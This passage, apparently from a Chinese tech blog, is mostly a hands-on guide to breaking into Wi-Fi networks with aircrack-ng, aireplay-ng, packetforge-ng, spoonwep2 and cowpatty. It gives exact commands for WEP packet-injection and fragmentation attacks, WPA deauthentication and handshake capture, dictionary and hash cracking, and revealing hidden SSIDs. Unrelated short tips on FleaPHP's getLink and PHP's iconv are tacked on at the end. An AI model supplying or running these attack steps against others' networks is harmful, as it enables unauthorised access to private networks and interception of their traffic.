发包成功后可得到足够的ivs,然后用aircrack-ng破解
b.-3 crack mode —————
6.aireplay-ng -3 -b (AP mac) -h (MY mac) mon0
7.用aircrack-ng破解<自己添加的步骤?>
c.-4 crack mode —————
-4攻击模式;制造数据包;-2交互式攻击模式
6.aireplay-ng -4 -b (APmac) -h (Mymac) mon0
<?yes>
<Saving keystream in replay_dec-0523-075615.xor>
7.packetforge-ng -0 -a (APmac) -h (Mymac) -k 255.255.255.255 –l 255.255.255.255 -y replay-xxx.xor -w myarp
(提取上面xor 文件来伪造一个arp包)
8.aireplay-ng -2 -r myarp mon0
一说用aireplay-ng -2 -r myarp -x 512 mon0
(发现了可利用的myarp的数据包,按y后,立刻注入攻击。Date疯涨)
9.用aircrack-ng破解
d.-5 crack mode —————
-5碎片攻击模式;制造数据包;-2交互式攻击模式
(我成功过)
6.aireplay-ng -5 -b (ap mac) -h (my mac) mon0
<?yes>
<Saving keystream in fragment-1216-201426.xor>
(利用-5 碎片攻击模式获得一个可用的包含密钥是数据文件(xor 文件))
7.packetforge-ng -0 -a (APmac) -h (Mymac) -k 255.255.255.255 -l 255.255.255.255 -y fragment-xxx.xor -w myarp
(Myarp随便起的文件名)
<Wrote packet to: myarp>
8.aireplay-ng -2 -r myarp -x 256/512 mon0
<?yes>
(这时,前面的抓包窗口上的data 将迅速增加)
(512是攻击速度,1024是最大值)
9.采用aircrack-ng 来进行破解

shell 3:—————————————-
aircrack-ng *.cap
如果shell 1用了–ivs 参数,则这里用aircrack-ng *.ivs
(我成功了)
另一说用aircrack-ng -n 64 -b APmac pack-01.cap
<KEY FOUND! [......] <ASCII:XXXXX>>

附:
5100用BT4+spoonwep2破解
1.把spoonwep2放在BT4\modules\下,启动BT4
2.
ln -fs bash /bin/sh
ls -al /bin/sh
<显示bash为成功,dash为失败>
3.开spoonwep2,里面可以找到网卡了,选wlan0进入搜索,但这时不会搜出来什么,
关闭一下spoonwep2再重启spoonwep2,
这时网卡项里有一个mon0的,选mon0,driver选normal,mode选unknow victim,选定PO841 replay attack,点击launch后就等待密

码的出来(sata数据包到30000个左右)。
(注:论坛中的高手说spoonwep2支持5100AGN网卡注入式破解)

———————end———————
———————WPA———————
1.ifconfig -a
<wlan0 … xx:xx:xx:xx:xx:xx>
2.ifconfig -a wlan0 up
3.airmon-ng start wlan0 6
<monitor mode enabled on mon0>
(6是频道)
4.airodump-ng -w 12345 -c 6 mon0/wlan0
(保存名为12345.cap)
(-w:写入文件,-c:截取cap的频道)
5.aireplay-ng -0 10 -a (ap mac) mon0/wlan0
或者输入:aireplay-ng -0 10 -a (ap mac) -c (合法客户端mac) mon0/wlan0(wlan0可能不对)
<18:56:20 Sending 64 directed DeAuth,… 一些类似行>
(-c后面为合法无线客户端的MAC地址)
(迫使AP重新与已连接的合法客户端重新握手验证)
(攻击几次后可以做破解尝试。WPA破解不用等到数据Data 达到几万,
因为它只要一个包含WPA握手验证包就可以了)
Cap数据包破解:
a.暴力破解
6.aircrack-ng -x -f 2 12345*.cap
另一说是用aircrack-ng -z -b (ap mac) 12345*.cap
b.字典破解
6.aircrack-ng -w password.txt 12345*.cap
另一说是用aircrack-ng -w password.txt -b (ap mac) 12345*.cap
(
-w:是字典破解模式
Password.txt是你事先准备好的字典。
技巧:可以在windows 下使用下载的字典工具生产字典,再在BackTrack3 下拷贝到/root 下(aircrack 默认
的工作目录在/root)。
请注意,破解WPA 密码的时间取决于密码难易程度,字典包含程度,内存及CPU 等。多则数小时。
)
c.把CAP数据包拷贝出来在WIN下用WinAircrack 破解
启动WinAircrack,General-)Encryption type-)wpa-psk,Capturefiles-)12345-01.cap
Wpa-)Dictionary file-)pswd.txt,点右下角Aircrack the key…
<Key Found! [xxxxxxxx]>
d.HASH破解
6.genpmk -f dictionary.txt -d D-LINK.hash -s D-LINK (注意大小写)
(Windows版本操作步骤与其Linux下版本完全一致)
(
参数解释:
-f 这里跟上采用的字典
-d 生成的Table文件名称
-s 目标AP的ESSID
)
7.cowpatty -d D-LINK.hash -r *.cap -s D-LINK
(
参数解释:
-d 导入WPA PMK Hash Table文件名称,下图中为dlink-birth.hash
-r 事先捕获的WPA握手数据包
-s 目标AP的ESSID
)

———————end———————

WPA破解,怎么知道有握手包被截获?
airodump-ng监视窗右上角有提示:
…… WPA handshake: 00:90:4c:8e:00:65

BT4抓包后,cap文件保存在哪?
输入ls可以看到啊,默认在root下。

如何获得合法端mac?
windows下可以使用OmniPeek、Wireshark、Ethereal、Aircrack-ng for Windows等工具实现对客户端MAC的拦截,Linux可用

Kismet、Aircrack-ng中的airodump-ng等来实现。需要注意的是,若目标网络采用WEP或者WPA加密的话,有时需先行破解再对数据

包解密方可看到客户端MAC。
前面第一个shell,如下若有station显示,bb:bb:bb:bb:bb:bb就是合法客户端mac
BSSID             STATION …
aa:aa:aa:aa:aa:aa bb:bb:bb:bb:bb:bb

如何查找隐藏的SSID?
1.在BT4下先打开一个shell,输入
airodump-ng 网卡端口
2.打开另一个shell,输入
aireplay-ng -0 10 -a AP’MAC -c 合法客户端’MAC 网卡端口
可能这个命令由于频道不对会出错,这时就要多重输几次(如果不行,就是不是合法客户端,要再试其它的客户端),直到提示成功为止
3.然后就可以在上个shell,看到显示出来的SSID。

FleaPHP中的getLink

getLink是获取指定名字的关联对象,比如一篇文章对应多篇评论, $this->mArticle->getLink(’comments’)->enabled=false;
其中comments是你的关联名就是你设置的mappingname值,通过false或true可以控制查询时候是否查询关联comments。

php中iconv函数使用方法

最近在做一个程序,需要用到iconv函数把抓取来过的utf-8编码的页面转成gb2312, 发现只有用iconv函数把抓取过来的数据一转码数据就会无缘无故的少一些。 让我郁闷了好一会儿,去网上一查资料才知道这是iconv函数的一个bug。iconv在转换字符"—"到gb2312时会出错
解决方法很简单,就是在需要转成的编码后加 "//IGNORE" 也就是iconv函数第二个参数后.如下:
以下为引用的内容:
引用

iconv("UTF-8","GB2312//IGNORE",$data)
ignore的意思是忽略转换时的错误,如果没有ignore参数,所有该字符后面的字符串都无法被保存。

这个iconv()这个函数,在php5中是内置的.谢谢.

列子

<?php
echo $str= ‘你好,这里是卖咖啡!’;
echo ‘<br />’;
echo iconv(’GB2312′, ‘UTF-8′, $str);      //将字符串的编码从GB2312转到UTF-8
echo ‘<br />’;
echo iconv_substr($str, 1, 1, ‘UTF-8′);   //按字符个数截取而非字节        
print_r(iconv_get_encoding());            //得到当前页面编码信息
echo iconv_strlen($str, ‘UTF-8′);         //得到设定编码的字符串长度
//也有这样用的
   $content = iconv("UTF-8","gbk//TRANSLIT",$content);
?>
本文来源网页吧http://www.wangyeba.com